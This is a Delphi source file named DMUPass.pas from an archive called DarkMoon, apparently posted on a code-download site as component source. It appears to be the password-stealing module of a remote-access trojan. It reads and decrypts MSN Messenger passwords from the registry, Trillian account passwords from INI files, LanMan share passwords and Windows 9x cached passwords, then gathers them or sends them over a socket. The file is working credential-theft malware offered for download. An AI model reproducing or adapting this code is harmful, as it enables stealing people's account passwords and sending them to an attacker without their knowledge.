DMUPass.pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:16k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit DMUPass;
- interface
- uses WinSock, Windows,DMUCommandsAndUtils;
- procedure BuscarPasswordsDeWindows( socket : TSocket);
- //procedure Aim( udp : TSocket; Cli: Tsockaddr; tcp:integer );
- procedure msn( Socket : Tsocket);
- procedure Trillian( Socket : Tsocket );
- function sharedPws( Socket : Tsocket): string;
- implementation
- uses URegister;
- type
- PWinPassword = ^TWinPassword;
- TWinPassword = record
- EntrySize: Word;
- ResourceSize: Word;
- PasswordSize: Word;
- EntryIndex: Byte;
- EntryType: Byte;
- PasswordC: Char;
- end;
- // MSN
- //Pass parts graphical structure:
- //|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX 3D 3D|00
- //Each group is named consecutively |GI FC SC TC|
- //A 00 means the end of the encoded password. A 3D means a null encoded character.
- PassParts = array [0..6,0..3] of byte; //Parts of the password, it devides into groups of 4 encoded characters which is equivalent to 3 decoded characters. There can be a maximum of 6 groups (16 decoded characters, 25 encoded)
- DecPassArray = array [0..24] of byte; //Array got directly from the registry. It can be 25 characters maximum
- var UDP : Tsocket;
- Addr : TsockAddr;
- Tcps : integer;
- Cant : Integer = 0;
- Key_shared : HKEY;
- PassSize:integer;
- const KEY : array[1..8] of char = #$35#$9a#$4d#$a6#$53#$a9#$d4#$6a;
- HEADER = 'pWd';
- ////////////////////////////////////////////////////////////////////////////////
- ////////////////////////Passwords de Messenger/////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////
- function EquivalentPositions(EncByte:byte):byte;
- var DecByte:byte; //Semi-decoded byte, which will be the return value of the function
- begin
- Case EncByte of
- $41..$5A: DecByte := EncByte - $41;
- $61..$7A: DecByte := ( EncByte - $61 ) + $1A;
- $30..$39: DecByte := ( EncByte - $30 ) + $34;
- $2B: DecByte := $3E;
- $2F: DecByte := $3F;
- $3D: DecByte := $40;
- else DecByte:=$FF;
- end;
- Result := DecByte;
- end;
- function GetRegPassword( clave: string ) : DecPassArray;
- var tmp : DecPassArray;
- Handle : HKEY;
- begin
- RegOpenKeyEx( HKEY_CURRENT_USER, PChar( 'SoftwareMicrosoft' + clave ), 0, KEY_ALL_ACCESS, Handle );
- if Handle <> 0 then
- begin
- PassSize := GetDataSize( Handle, 'Password.NET Messenger Service' );
- ReadBinaryData( Handle, 'Password.NET Messenger Service', tmp, passsize );
- RegCloseKey( Handle );
- Result := Tmp;
- end;
- end;
- function SortPassBytes( Pass : DecPassArray ) : PassParts;
- var Temp : PassParts;
- i, j : integer;
- begin
- for i := 0 to ( PassSize - 1 ) div 4 do
- for j := 0 to 3 do
- Temp[ i, j ] := Pass[ i * 4 + j];
- SortPassBytes := Temp;
- end;
- function DecodePassword( clave: string ) : string;
- var
- PassPart: PassParts;
- iPart: integer;
- GI, FC, SC, TC: byte;
- FCValInSet, FCPosInSet: integer;
- SCValInSet, SCPosInSet: integer;
- TCPosInSet: integer;
- C1, C2, C3: char;
- Password: DecPassArray;
- Temp: string;
- begin
- Password := GetRegPassword( clave );
- PassPart := SortPassBytes(GetRegPassword( clave ) ); {Organize encoded password from registry}
- for iPart:=0 to (PassSize div 4)-1 do
- begin
- GI := EquivalentPositions( PassPart[ iPart, 0 ] );
- FC := EquivalentPositions( PassPart[ ipart, 1 ] );
- SC := EquivalentPositions( PassPart[ ipart, 2 ] );
- TC := EquivalentPositions( PassPart[ ipart, 3 ] );
- C2 := #0;
- C3 := #0;
- FCPosInSet := FC div $10;
- FCValInSet := FC mod $10;
- C1 := Char( GI * $4 + FCPosInSet );
- if SC < $40 then
- begin
- SCPosInSet := SC div $4; {this determines the member nunmber}
- SCValInSet := SC mod $4; {this is used for full-deoode TC}
- C2 := Char( FCValInSet * $10 + SCPosInSet ); {fully decode SC}
- end;
- if TC < $40 then
- begin
- TCPosInSet := TC; {this determines the member number}
- C3 := Char( SCValInSet * $40 + TCPosInSet ); {fully decode TC}
- end;
- Temp := Temp + C1 + C2 + C3; {Decoded group of 3 characters}
- end;
- DecodePassword := Temp;
- end;
- procedure Msn( Socket : Tsocket);
- var User, pw: String;
- begin
- User := Dame_Valor( HKEY_CURRENT_USER,
- 'SoftwaremicrosoftMessengerService',
- 'User.NET Messenger Service' );
- if user = '' then
- begin
- user := Dame_Valor( HKEY_CURRENT_USER,
- 'SoftwaremicrosoftMSNMessenger',
- 'User.NET Messenger Service' );
- pw := DecodePassword('MSNMessenger')
- end
- else
- pw := DecodePassword('MessengerService');
- Data_PASS:=Data_PASS + HEADER + #13#10 + 'Microsoft messenger:' ;
- Data_PASS:=Data_PASS +#13#10 + 'Login - ' + user;
- Data_PASS:=Data_PASS +#13#10 + 'Password - ' + pw ;
- end;
- ////////////////////////////////////////////////////////////////////////////////
- //////////////////////////trillian passwords////////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////
- function DecryptTrill( temp : string): String;
- const keys: array[0..83] of Char = (chr(243),chr(038),chr(129),chr(196),chr(057),chr(134),chr(219),chr(146),chr(113),chr(163),chr(185),chr(230),chr(083),chr(122),chr(149),chr(124),chr(000),chr(000),chr(000),chr(000),chr(000),chr(000),chr(255),chr(000),chr(000),chr(128),chr(000),chr(000),chr(000),chr(128),chr(128),chr(000),chr(255),chr(000),chr(000),chr(000),chr(128),chr(000),chr(128),chr(000),chr(128),chr(128),chr(000),chr(000),chr(000),chr(128),chr(255),chr(000),chr(128),chr(000),chr(255),chr(000),chr(128),chr(128),chr(128),chr(000),chr(085),chr(110),chr(097),chr(098),chr(108),chr(101),chr(032),chr(116),chr(111),chr(032),chr(114),chr(101),chr(115),chr(111),chr(108),chr(118),chr(101),chr(032),chr(072),chr(084),chr(084),chr(080),chr(032),chr(112),chr(114),chr(111),chr(120),chr(000));
- var i,j:char;
- x,y:integer;
- final: String;
- begin
- final := '';
- x := 0;
- y := 0;
- while x < length( temp ) do
- begin
- j := chr( hextoint( temp[ x + 1 ] + temp[ x + 2 ] ) );
- i := keys[ y ];
- i := chr( ord( i ) xor ord( j ) );
- final := final + i;
- x := x + 2;
- y := y + 1;
- end;
- result := final;
- end;
- function LoadProfiles( m: String; socket: TSocket ): String;
- var a : textFile;
- Str: String;
- begin
- if FileExists( 'C:archivos de programaTrillianusersdefault' + m + '.ini' ) then
- AssignFile( a, 'C:archivos de programaTrillianusersdefault' + m + '.ini' )
- else
- if FileExists( 'C:program filesTrillianusersdefault' + m + '.ini' ) then
- AssignFile( a, 'C:program filesTrillianusersdefault' + m + '.ini' )
- else
- Exit;
- FileMode := 0;
- try Reset( a ); except Exit; end;
- ReadLn( a, Str );
- while not eof( a ) do
- begin
- ReadLn( a, Str );
- if Copy( Str, 1, 4 ) = 'name' then begin
- SendData ( socket,HEADER + 'User - ' + Copy( Str, 6, Length( Str ) )) ;
- if UpperCase( Copy( Str, 1, 8 ) ) = 'PASSWORD' then
- SendData ( socket, HEADER + 'PaSswoRd - ' + DecryptTrill( Copy( Str, 10, Length( Str ) ) ) );
- end;
- CloseFile( a );
- end;
- end;
- procedure Trillian( socket : TSocket);
- begin
- Data_Pass:=Data_Pass + #13#10 + 'Finding Passwords of Trillian' ;
- Data_Pass:=Data_Pass + #13#10 + '------------------------------------------------';
- Data_Pass:=Data_Pass + #13#10 +'aim';
- Data_Pass:=Data_Pass + #13#10 +'msn' ;
- Data_Pass:=Data_Pass + #13#10 +'icq' ;
- Data_Pass:=Data_Pass + #13#10 +'yahoo' ;
- end;
- ////////////////////////////////////////////////////////////////////////////////
- /////////////////////////Password Shared Resources///////////////////
- ////////////////////////////////////////////////////////////////////////////////
- function makepad(width : integer) : string;
- var s : string;
- x : integer;
- begin
- s := '';
- for x := 1 to width do
- s := s + ' ';
- makepad := s;
- end;
- function DataTypeToRegData(Value: Integer): TRegDataType;
- begin
- if Value = REG_SZ then
- Result := rdString
- else
- if Value = REG_EXPAND_SZ then
- Result := rdExpandString
- else
- if Value = REG_DWORD then
- Result := rdInteger
- else
- if Value = REG_BINARY then
- Result := rdBinary
- else
- Result := rdUnknown;
- end;
- function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;
- var
- DataType: Integer;
- begin
- FillChar(Value, SizeOf(TRegDataInfo), 0);
- Result := RegQueryValueEx(key_shared, PChar(ValueName), nil, @DataType, nil,
- @Value.DataSize) = ERROR_SUCCESS;
- Value.RegData := DataTypeToRegData(DataType);
- end;
- function GetDataSize(const ValueName: string): Integer;
- var
- Info: TRegDataInfo;
- begin
- if GetDataInfo(ValueName, Info) then
- Result := Info.DataSize else
- Result := -1;
- end;
- function GetData(const Name: string; Buffer: Pointer;
- BufSize: Integer; var RegData: TRegDataType): Integer;
- var
- DataType: Integer;
- begin
- DataType := REG_NONE;
- if RegQueryValueEx(key_shared, PChar(Name), nil, @DataType, PByte(Buffer),
- @BufSize) <> ERROR_SUCCESS then;
- // raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
- Result := BufSize;
- RegData := DataTypeToRegData(DataType);
- end;
- procedure ReadError(const Name: string);
- begin
- // raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
- end;
- function ReadBinaryData(const Name: string; var Buffer; BufSize: Integer): Integer;
- var
- RegData: TRegDataType;
- Info: TRegDataInfo;
- begin
- if GetDataInfo(Name, Info) then
- begin
- Result := Info.DataSize;
- RegData := Info.RegData;
- if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
- GetData(Name, @Buffer, Result, RegData)
- else ReadError(Name);
- end else
- Result := 0;
- end;
- procedure DesencriptarSharedPW( sn: String; socket : TSocket);
- var passwordstr1,passwordstr2,cracked1,cracked2 : string[8];
- wordlength1,wordlength2,x : longint;
- password1,password2 : array[1..8] of char;
- path, s:String;
- begin
- path := 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' + sn;
- if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
- PChar( path ),
- 0,
- KEY_ALL_ACCESS,
- key_shared ) = ERROR_SUCCESS then
- begin
- for x := 1 to 8 do
- begin
- password1[ x ] := #0;
- password2[ x ] := #0;
- end;
- readbinarydata('Parm2enc',password2,8); // get cyphered RO password
- readbinarydata('Parm1enc',password1,8); // get cyphered RW password
- sn := sn + makepad(14 - length(sn));
- s := s + 'Resource: ' + sn;
- x := 1;
- passwordstr1 := '';
- passwordstr2 := '';
- cracked1 := '';
- cracked2 := '';
- while password1[x] <> #0 do
- begin
- passwordstr1 := passwordstr1 + password1[x];
- inc(x);
- end;
- wordlength1 := length(passwordstr1);
- x:=1;
- while password2[x] <> #0 do
- begin
- passwordstr2 := passwordstr2 + password2[x];
- inc(x);
- end;
- wordlength2 := length(passwordstr2);
- for x := 1 to wordlength1 do // Here we do the XORing
- if password1[x] <> #0 then
- cracked1 := cracked1 + chr(ord(stringtochar(copy(passwordstr1,x,1))) XOR ord(key[x]));
- for x := 1 to wordlength2 do // And again...
- if password2[x] <> #0 then
- cracked2 := cracked2 + chr(ord(stringtochar(copy(passwordstr2,x,1))) XOR ord(key[x]));
- if cracked1 <> '' then // Write RO password to screen
- s := s + 'PW de RW: ' + cracked1 + makepad(10 - length(cracked1) )
- else
- s := s + 'PW de RW: no tiene ';
- if cracked2 <> '' then // Write RW password to screen
- s := s + ' PW de RO: ' + cracked2 + makepad(10 - length(cracked2))
- else
- s := s + ' PW de RO: no tiene ';
- Data_Pass:=Data_Pass + #13#10 + s ;
- s := '';
- end;
- end;
- //Devuelve un listado de los valores contenidos en la clave
- function ListadoDeSubValores( TKEY : HKEY; var cuentas : array of string; var len : integer; socket : TSocket):String;
- var info : TRegKeyInfo;
- i : integer;
- bSize : DWORD;
- tBuff : string;
- begin
- if RegQueryInfoKey(TKEY, nil, nil, nil,
- @info.NumSubKeys,
- @info.MaxSubKeyLen, nil,
- @info.NumValues,
- @info.MaxValueLen,
- @info.MaxDataLen, nil,
- @info.FileTime) = ERROR_SUCCESS then
- begin
- SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
- //Comienza a buscar el listado de claves
- for i := 0 to info.numSubKeys - 1 do
- begin
- bSize := Info.MaxSubKeyLen + 1;
- RegEnumKeyEx( TKEY,
- DWORD( i ),
- PChar( tBuff ),
- bSize, nil, nil, nil, nil );
- DesencriptarSharedPW( tbuff, socket );
- end;
- Len := info.numSubKeys - 1;
- end;
- end;
- function sharedPws( socket : TSocket): string;
- var i : Integer;
- Cuentas : array[ 0..25 ]of string;
- begin
- Data_Pass:=Data_Pass + #13#10 + 'PasswordS of Shared Resources' ;
- SendData ( socket, HEADER + '---------------------------------------------------------------' );
- RegOpenKeyEx( HKEY_LOCAL_MACHINE,
- PChar( 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' ),
- 0,
- KEY_ALL_ACCESS,
- key_shared );
- ListadoDeSubValores( key_shared, cuentas, i, socket );
- RegCloseKey( key_shared );
- if i = 0 then
- begin
- Data_Pass:=Data_Pass + #13#10 + 'I didnt find anything!!' ;
- Exit;
- end;
- end;
- ////////////////////////////////////////////////////////////////////////////////
- /////////////////////////Passwords de windows///////////////////////////////////
- ////////////////////////////////////////////////////////////////////////////////
- procedure AddPassword( WinPassword: PWinPassword; dw: DWord ;socket : Tsocket) stdcall;
- var Password: String;
- PC: Array[ 0..$FF ] of Char;
- begin
- Inc( Cant );
- Move( WinPassword.PasswordC , PC , WinPassword.ResourceSize );
- PC[ WinPassword.ResourceSize ] := #0;
- CharToOem( PC, PC );
- Password := PC;
- Move( WinPassword.PasswordC , PC , WinPassword.PasswordSize + WinPassword.ResourceSize );
- Move( PC[ WinPassword.ResourceSize ] , PC , WinPassword.PasswordSize );
- PC[ WinPassword.PasswordSize ] := #0;
- CharToOem( PC , PC );
- Password := Password + ': ' + PC;
- Data_Pass:=Data_Pass + #13+#10 +': ' + Password ;
- Data_Pass:=Data_Pass + #13+#10 + Password ;
- end;
- procedure BuscarPasswordsDeWindows( socket : TSocket);
- type TWNetEnumCachedPasswords = function(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
- var WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
- Libreria : THandle;
- begin
- if EsXP then
- begin
- Data_Pass:=Data_Pass + #13#10 + 'I cant find the windows passwords because im not Win9X neither WinMe... sorry!!!';
- Exit;
- end;
- Data_Pass:=Data_Pass + #13#10 + 'Windows cached passwords:' ;
- try Libreria := LoadLibrary( PChar( 'mpr.dll' ) );
- @WNetEnumCachedPasswords := GetProcAddress( Libreria , 'WNetEnumCachedPasswords' );
- WNetEnumCachedPasswords( nil, 0, $FF, @AddPassword, 0 );
- FreeLibrary( Libreria );
- except
- end;
- if Cant = 0 then
- begin
- Data_Pass:=Data_Pass+ ': I dindt find passwords !';
- end;
- end;
- end.